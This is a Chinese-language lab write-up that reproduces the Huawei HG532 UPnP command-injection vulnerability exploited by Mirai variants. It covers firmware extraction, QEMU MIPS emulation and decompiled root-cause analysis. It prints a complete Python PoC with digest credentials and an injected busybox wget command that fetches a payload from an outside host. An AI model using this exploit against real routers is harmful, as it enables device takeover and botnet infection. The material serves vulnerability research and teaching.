介绍

华为 HG532 系列路由器是一款为家庭和小型办公用户打造的高速无线路由器产品。

该漏洞被用来作为病毒 Mirai 的升级版变种 OKIRU/SATORI,payload 由蜜罐所捕获而被发现的,首次披露是由 checkpoint 所披露,漏洞利用的是 upnp 服务存在的注入漏洞实现任意命令执行。

固件分析

首先下载固件,我也保存了一份固件

使用 binwalk 解压固件:

binwalk -Me HG532eV100R001C01B020_upgrade_packet.bin

看一下二进制:

$ file bin/busybox
bin/busybox: ELF 32-bit MSB executable, MIPS, MIPS32 rel2 version 1 (SYSV), dynamically linked, interpreter /lib/ld-uClibc.so.0, no section header
$ readelf -h bin/busybox
ELF Header:
  Magic:   7f 45 4c 46 01 02 01 00 00 00 00 00 00 00 00 00
  Class:                             ELF32
  Data:                              2's complement, big endian
  Version:                           1 (current)
  OS/ABI:                            UNIX - System V
  ABI Version:                       0
  Type:                              EXEC (Executable file)
  Machine:                           MIPS R3000
  Version:                           0x1
  Entry point address:               0x403f50
  Start of program headers:          52 (bytes into file)
  Start of section headers:          0 (bytes into file)
  Flags:                             0x70001007, noreorder, pic, cpic, o32, mips32r2
  Size of this header:               52 (bytes)
  Size of program headers:           32 (bytes)
  Number of program headers:         8
  Size of section headers:           0 (bytes)
  Number of section headers:         0
  Section header string table index: 0

可以看出是 MIPS 大端的架构。

环境搭建

Qemu 网络配置

Init.D

auto br0
iface br0 inet dhcp  # 网桥使用DHCP模式,从DHCP服务器获取IP
bridge_ports enp3s0  # 网卡名称,网桥创建前连接外部的网卡,可通过ifconfig命令查看,有IP地址的就是
bridge_stp on  # 避免数据链路出现死循环
bridge_fd 0  # 将转发延迟设置为0

netplan

在 Ubuntu 22.04 中是使用 netplan NetworkManager 管理网络的,参考这篇文章搭建 br0 网桥。之后直接按照下面的方法运行 qemu 虚拟机即可。

Linux 镜像下载

https://people.debian.org/~aurel32/qemu/mips/ 下载 debian-mips-qemu 镜像文件,这里下载 debian_squeeze_mips_standard.qcow2 和 vmlinux-2.6.32-5-4kc-malta 这两个文件。

wget https://people.debian.org/~aurel32/qemu/mips/debian_squeeze_mips_standard.qcow2
wget https://people.debian.org/~aurel32/qemu/mips/vmlinux-2.6.32-5-4kc-malta

启动镜像

sudo qemu-system-mips \
    -M malta \
    -kernel vmlinux-2.6.32-5-4kc-malta \
    -hda debian_squeeze_mips_standard.qcow2 \
    -append "root=/dev/sda1 console=tty0" \
    -net nic,macaddr=00:16:3e:00:00:01 \
    -net tap \
    -nographic

此时网络仍然不通,因为这个虚拟机使用的网卡是 eth0,我们需要将其修改为 eth1。在虚拟机中:

nano /etc/network/interfaces

将所有的 eth0 改为 eth1,保存,然后:

ifup eth1

接下来就可以用 ssh 连接上了。连接时可能会出现报错:

Unable to negotiate with 192.168.202.141 port 22: no matching host key type found. Their offer: ssh-rsa,ssh-dss

这是因为 OpenSSH 7.0 以后的版本不再支持 ssh-dss (DSA)算法,解决方法是增加选项-oHostKeyAlgorithms=+ssh-dss, 即可成功解决。

ssh -oHostKeyAlgorithms=+ssh-dss [email protected]

接下来将我们解压出来的文件系统拷贝到 qemu:

scp -oHostKeyAlgorithms=+ssh-dss -r ./squashfs-root  root@虚拟机ip:/root/

漏洞复现

公开的漏洞 Poc 为:

import requests
 
headers = {
    "Authorization": "Digest username=dslf-config, realm=HuaweiHomeGateway, nonce=88645cefb1f9ede0e336e3569d75ee30, uri=/ctrlt/DeviceUpgrade_1, response=3612f843a42db38f48f59d2a3597e19c, algorithm=MD5, qop=auth, nc=00000001, cnonce=248d1a2560100669"
}
 
data = '''<?xml version="1.0" ?>
 <s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/">
  <s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1">
   <NewStatusURL>;/bin/busybox wget -g 172.16.16.17 -l /tmp/1 -r /1;</NewStatusURL>
   <NewDownloadURL>HUAWEIUPNP</NewDownloadURL>
  </u:Upgrade>
 </s:Body>
</s:Envelope>
'''
requests.post('http://172.16.16.21:37215/ctrlt/DeviceUpgrade_1',headers=headers,data=data)

看一下 PoC:

关键字为 ctrlDeviceUpgrade,端口号为 37215,搜索一下关键字:

$ grep -r "ctrlt"
Binary file bin/upnp matches
 
$ grep -r "DeviceUpgrade"
Binary file bin/upnp matches
 
$ grep -r "37215"
Binary file bin/mic matches

直接运行会出问题,我们切换根目录到拷贝进来的系统文件中

chroot /root/squashfs-root /bin/sh

先后运行 upnp 和 mic,使用 lsof -i:37215 可以查看端口是否运行,通过

nc -vv 虚拟机IP 37215

查看 mic 是否启动成功

$ nc -vv 192.168.202.141 37215
Connection to 192.168.202.141 37215 port [tcp/*] succeeded!

之后就可以运行 exp 了,这里我修改了两处:

在运行 PoC 之后,mic 界面可以看到运行结果:

原理分析

首先进入处理 NewStatusURL 的逻辑。用 IDA 打开 upnp,然后搜索 NewStatusURL 字符串。之后查看这个字符串的交叉引用,进入代码段,我们可以在这里创造一个函数,然后反编译:

int __fastcall sub_40749C(int a1)
{
  int ChildNodeByName; // $s1
  int v4; // [sp+20h] [-40Ch] BYREF
  int v5; // [sp+24h] [-408h] BYREF
  char v6[1028]; // [sp+28h] [-404h] BYREF
 
  ChildNodeByName = ATP_XML_GetChildNodeByName(*(_DWORD *)(a1 + 44), "NewDownloadURL", 0, &v4);
  if ( !ChildNodeByName )
  {
    if ( v4 )
    {
      ChildNodeByName = ATP_XML_GetChildNodeByName(*(_DWORD *)(a1 + 44), "NewStatusURL", 0, &v5);
      if ( !ChildNodeByName )
      {
        if ( v5 )
        {
          snprintf(v6, 1024, "upg -g -U %s -t '1 Firmware Upgrade Image' -c upnp -r %s -d -b", v4);
          system(v6);
        }
      }
    }
  }
  return ChildNodeByName;
}

在这个函数中,获取 NewStatusURL 这个 Node 之后直接用 snprintf(v6, 1024, "upg -g -U %s -t '1 Firmware Upgrade Image' -c upnp -r %s -d -b", v4); 拼接起来了,拼接之后就执行 system() 函数,这样我们就可以直接利用这个漏洞了。

参考资料